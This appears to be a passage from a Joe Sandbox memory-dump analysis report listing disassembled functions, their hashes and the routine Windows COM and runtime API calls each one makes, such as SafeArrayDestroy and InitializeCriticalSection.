Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: a2e6ddabbed77608d841e26d995fc205e99db2b1e10e40a212ee93cd3cdda806
Instruction ID: 168dcac797227acdd1dcbfdda0a90e5d5d4151333c7a1ea44bbac4518ee96ccd
Opcode Fuzzy Hash: a2e6ddabbed77608d841e26d995fc205e99db2b1e10e40a212ee93cd3cdda806
Instruction Fuzzy Hash: C5313A70E016189FCB10CF69DD80B9EB7F9AF89204F218696E419E7655DB71ED40CF60

Function 6CF78F83 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: a1f97d129cd1ffa6034433ecd6c1f5ad7cf6064466d292c16b8f9e5b94a936d2
Instruction ID: fb5be50c5de4f62bd82c8a466c7bbc7778124a64400bd54cb0750316f4842fce
Opcode Fuzzy Hash: a1f97d129cd1ffa6034433ecd6c1f5ad7cf6064466d292c16b8f9e5b94a936d2
Instruction Fuzzy Hash: 81313970E016089FCB10CFA9DC80B9EB7FAAF89204F20858AE418E7651DB75ED41CF60

Function 6CF78BDD Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: c9c33b9b939590acbbc0fa6b426fa34a1a6f1de0f8f02cf4ee693eb627cdc417
Instruction ID: b9c7134351a450c5b58a1ac9e3dc9bfa2e83db74ed8bab7599ec1b21691bb052
Opcode Fuzzy Hash: c9c33b9b939590acbbc0fa6b426fa34a1a6f1de0f8f02cf4ee693eb627cdc417
Instruction Fuzzy Hash: B6316C70E016089FCB10CF69DC80B9EB7F9AF89204F208596E418E7651C771ED40CF60

Function 6CF704D3 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: a1f97d129cd1ffa6034433ecd6c1f5ad7cf6064466d292c16b8f9e5b94a936d2
Instruction ID: 0b292bb11de7e947d9096de5b206f8f02cba21195a363be0454f8fb2066f846b
Opcode Fuzzy Hash: a1f97d129cd1ffa6034433ecd6c1f5ad7cf6064466d292c16b8f9e5b94a936d2
Instruction Fuzzy Hash: BF313C70E01608DFCB50CFA9DC84B9EB7B9AF89304F20859AE518E7651CB76ED418F60

Function 6CF705DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 8ad445553d647bb258ba5c3d8214b0172bb0c69462836383d8a00d7e5ff8f344
Instruction ID: 87742bdc36f5025735c9ba37fc553badebc951c2237785a3b2818d84ac19d079
Opcode Fuzzy Hash: 8ad445553d647bb258ba5c3d8214b0172bb0c69462836383d8a00d7e5ff8f344
Instruction Fuzzy Hash: 4E312AB0A01618DFCB50CF69DD84B5DB7B9AF89204F20859AE418E7651DB76ED408F60

Function 6CF70668 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 241a94be21c8aeca608ef01d99e0771e6554bf3ee440697f9005de5d5030a448
Instruction ID: 2a241168b141b7d9785d4e53bd90203c170627d468b87623a48ed7886d417624
Opcode Fuzzy Hash: 241a94be21c8aeca608ef01d99e0771e6554bf3ee440697f9005de5d5030a448
Instruction Fuzzy Hash: 17313B70A01618DFCB50DF69DD84B9EB7F9AF89204F20859AE518E7651CB72DD408F60

Function 6CF7908A Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 8ad445553d647bb258ba5c3d8214b0172bb0c69462836383d8a00d7e5ff8f344
Instruction ID: fed87e135f48b572df8beb1b74999f71767f4f248218cbb39f8f456c990685bf
Opcode Fuzzy Hash: 8ad445553d647bb258ba5c3d8214b0172bb0c69462836383d8a00d7e5ff8f344
Instruction Fuzzy Hash: 54314970E016189FCB10CB69DC80B9EB7FAAF89204F20858AE418E7641DB71EE40CF60

Function 6CF791A9 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: fb49f678ec1bd7d87bb7421a8b8be8b64401797d3c45abd0fa56727aed406cf9
Instruction ID: 0fbddaffd8f1db5abc43a888cd427857fecc25205bfd8bc61473737150f73c14
Opcode Fuzzy Hash: fb49f678ec1bd7d87bb7421a8b8be8b64401797d3c45abd0fa56727aed406cf9
Instruction Fuzzy Hash: B4316A70E016089FCB10CFA9DD80B9EB7F9AF89204F21859AE419E7641DB75EE40CF60

Function 6CF79118 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 241a94be21c8aeca608ef01d99e0771e6554bf3ee440697f9005de5d5030a448
Instruction ID: f5bc92cfb10e4e29ac3505cedc32aaa60aeddb75da2649dca9292e7d2a701331
Opcode Fuzzy Hash: 241a94be21c8aeca608ef01d99e0771e6554bf3ee440697f9005de5d5030a448
Instruction Fuzzy Hash: 7C314A70E016189FCB10CF69DD80B9EB7F9AF89204F21859AE419E7651DB75EE40CF60

Function 6CF792C5 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 959972c9b27735ce92dcad6a12d7e04e81905740e181183f048c685fd0a2250a
Instruction ID: ac40497db8f039df587af0541af076e85e96cd82b091d9cd3b63707f864e581a
Opcode Fuzzy Hash: 959972c9b27735ce92dcad6a12d7e04e81905740e181183f048c685fd0a2250a
Instruction Fuzzy Hash: BB313B70E016189FCB10DB69DC80B9EB7F9AF89204F20858AE419E7651DB75EE40CF60

Function 6CF79237 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: adcf9c45ef020b87832ebb7f8308da659c9fb6055d0a8a9b9e0666c964356020
Instruction ID: 03e3aecae3a19b724d1ed8a533ac3664044f07af29862722cdc281294ef913b5
Opcode Fuzzy Hash: adcf9c45ef020b87832ebb7f8308da659c9fb6055d0a8a9b9e0666c964356020
Instruction Fuzzy Hash: BF313A70E016189FCB10DFA9DC80B9EB7F9AF89204F208596E419E7651DB75EE41CF60

Function 6CF7C150 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF7C180
SafeArrayPutElement.OLEAUT32(00000000,6CF73749,?), ref: 6CF7C1B8
VariantClear.OLEAUT32(?), ref: 6CF7C1C4
VariantCopy.OLEAUT32(6CF73749,?), ref: 6CF7C21B
VariantClear.OLEAUT32(?), ref: 6CF7C22F
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF7C23E

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafeVariant$Clear$CopyCreateDestroyElementVector
String ID:
API String ID: 3979206172-0
Opcode ID: fa3d06b1d1035221d4368d3c0a2aa6a6e79f7378b1ae3c419ed5f1ae954db45d
Instruction ID: 5fc7934a0323f6572c6e4c18dad4b05ea2b4f83b07ef23f75f30f71bc0992ea3
Opcode Fuzzy Hash: fa3d06b1d1035221d4368d3c0a2aa6a6e79f7378b1ae3c419ed5f1ae954db45d
Instruction Fuzzy Hash: A1315E75A04209AFDB01DFA8D884F9FBBB8EF49304F11856AE915D7350EB71E901CB60

Function 6CF67370 Relevance: 9.1, APIs: 6, Instructions: 96COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

InitializeCriticalSection.KERNEL32(00000000,?,00000000,00000000,6CFD11FD,000000FF,?,6CF68B80,00000000,?,00000000,?,6CF68C13,?,?), ref: 6CF67415
InitializeCriticalSection.KERNEL32(00000018,?,00000000,00000000,6CFD11FD,000000FF,?,6CF68B80,00000000,?,00000000,?,6CF68C13,?,?), ref: 6CF6741B
std::exception::exception.LIBCMT ref: 6CF6743D
__CxxThrowException@8.LIBCMT ref: 6CF67452
std::exception::exception.LIBCMT ref: 6CF67461
__CxxThrowException@8.LIBCMT ref: 6CF67476

Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C04
Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C1E
Part of subcall function 6CFB9BB5: __CxxThrowException@8.LIBCMT ref: 6CFB9C2F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$CriticalInitializeSection$_malloc
String ID:
API String ID: 189561132-0
Opcode ID: 2c2db15f68d4490eb439be2c0e40ad35da62fc48b9a79b76bd5bfa5b2d0826df
Instruction ID: da37df21562c1be484fe3baf23c32bc9ba5ac3234643ff158bf8dbee0d2634e9
Opcode Fuzzy Hash: 2c2db15f68d4490eb439be2c0e40ad35da62fc48b9a79b76bd5bfa5b2d0826df
Instruction Fuzzy Hash: 6B3169B2901A489FC750CF6AC880A9AFBF4FF58310B54895EE95697B10D771FA04CBA1

Function 6CF78C6E Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
